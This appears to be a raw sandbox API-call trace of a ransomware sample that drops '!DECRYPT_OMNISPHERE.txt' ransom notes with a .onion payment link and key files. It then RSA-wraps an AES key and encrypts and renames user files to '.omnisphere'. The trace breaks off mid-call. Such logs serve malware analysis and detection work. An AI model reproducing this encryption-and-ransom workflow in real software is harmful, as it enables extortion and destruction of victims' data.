[0118.793] CloseHandle (hObject=0x288) returned 1 [0118.793] SetEndOfFile (hFile=0x28c) returned 1 [0118.793] FlushFileBuffers (hFile=0x28c) returned 1 [0118.798] CloseHandle (hObject=0x28c) returned 1 [0118.798] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1fJbXUeqaQ0.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0118.798] GetProcessHeap () returned 0x1600000 [0118.798] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16ac538 [0118.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0118.798] GetProcessHeap () returned 0x1600000 [0118.799] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693eb8 [0118.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693eb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0118.799] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0118.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0118.799] GetProcessHeap () returned 0x1600000 [0118.799] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1687188 [0118.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1687188, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0118.799] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0118.799] GetProcessHeap () returned 0x1600000 [0118.799] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a1d48 [0118.799] PathCombineW (in: pszDest=0x16a1d48, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0118.799] GetProcessHeap () returned 0x1600000 [0118.799] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16a45b8 [0118.799] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.799] WriteFile (in: hFile=0x28c, lpBuffer=0x16a45b8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16a45b8*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0118.799] CloseHandle (hObject=0x28c) returned 1 [0118.800] GetProcessHeap () returned 0x1600000 [0118.800] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16ac538 | out: hHeap=0x1600000) returned 1 [0118.800] GetProcessHeap () returned 0x1600000 [0118.800] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0118.800] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0118.800] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.800] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0118.800] CloseHandle (hObject=0x28c) returned 1 [0118.800] GetProcessHeap () returned 0x1600000 [0118.800] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0118.800] GetProcessHeap () returned 0x1600000 [0118.800] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656190 | out: hHeap=0x1600000) returned 1 [0118.800] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc8cf69, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1dc8cf69, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1dc8cf69, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0xd3, cFileName="1KJv1fN7ry_.lnk", cAlternateFileName="1KJV1F~1.LNK")) returned 1 [0118.800] GetProcessHeap () returned 0x1600000 [0118.800] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa0) returned 0x1656388 [0118.800] PathCombineW (in: pszDest=0x1656388, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="1KJv1fN7ry_.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1KJv1fN7ry_.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1KJv1fN7ry_.lnk" [0118.800] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0118.801] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1KJv1fN7ry_.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\1kjv1fn7ry_.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.801] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=959) returned 1 [0118.801] GetTickCount () returned 0x115db0a [0118.801] GetTickCount () returned 0x115db0a [0118.801] GetTickCount () returned 0x115db0a [0118.801] GetTickCount () returned 0x115db0a [0118.801] GetTickCount () returned 0x115db0a [0118.801] GetTickCount () returned 0x115db0a [0118.801] GetTickCount () returned 0x115db0a [0118.801] GetTickCount () returned 0x115db0a [0118.801] GetTickCount () returned 0x115db0a [0118.801] GetTickCount () returned 0x115db0a [0118.801] GetTickCount () returned 0x115db0a [0118.801] GetTickCount () returned 0x115db0a [0118.801] GetTickCount () returned 0x115db0a [0118.801] GetTickCount () returned 0x115db0a [0118.801] GetTickCount () returned 0x115db0a [0118.801] GetTickCount () returned 0x115db0a [0118.801] GetTickCount () returned 0x115db0a [0118.801] GetTickCount () returned 0x115db0a [0118.801] GetTickCount () returned 0x115db0a [0118.801] GetTickCount () returned 0x115db0a [0118.801] GetTickCount () returned 0x115db0a [0118.801] GetTickCount () returned 0x115db0a [0118.801] GetTickCount () returned 0x115db0a [0118.801] GetTickCount () returned 0x115db0a [0118.801] GetTickCount () returned 0x115db0a [0118.802] GetTickCount () returned 0x115db0a [0118.802] GetTickCount () returned 0x115db0a [0118.802] GetTickCount () returned 0x115db0a [0118.802] GetTickCount () returned 0x115db0a [0118.802] GetTickCount () returned 0x115db0a [0118.802] GetTickCount () returned 0x115db0a [0118.802] GetTickCount () returned 0x115db0a [0118.802] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668d68) returned 1 [0118.802] CryptImportKey (in: hProv=0x1668d68, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0118.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0118.802] CryptDestroyKey (hKey=0x1639b28) returned 1 [0118.802] CryptReleaseContext (hProv=0x1668d68, dwFlags=0x0) returned 1 [0118.802] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3bf, lpName=0x0) returned 0x288 [0118.803] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3bf) returned 0x1480000 [0118.803] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668f88) returned 1 [0118.803] CryptImportKey (in: hProv=0x1668f88, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0118.803] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0118.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0118.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.806] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.806] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.806] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.806] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.806] CryptDestroyKey (hKey=0x1639b28) returned 1 [0118.806] CryptReleaseContext (hProv=0x1668f88, dwFlags=0x0) returned 1 [0118.806] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3bf, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0118.806] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0118.806] GetProcessHeap () returned 0x1600000 [0118.806] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b0) returned 0x16ac538 [0118.806] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1KJv1fN7ry_.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\1kjv1fn7ry_.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1KJv1fN7ry_.lnk.omnisphere" (normalized: 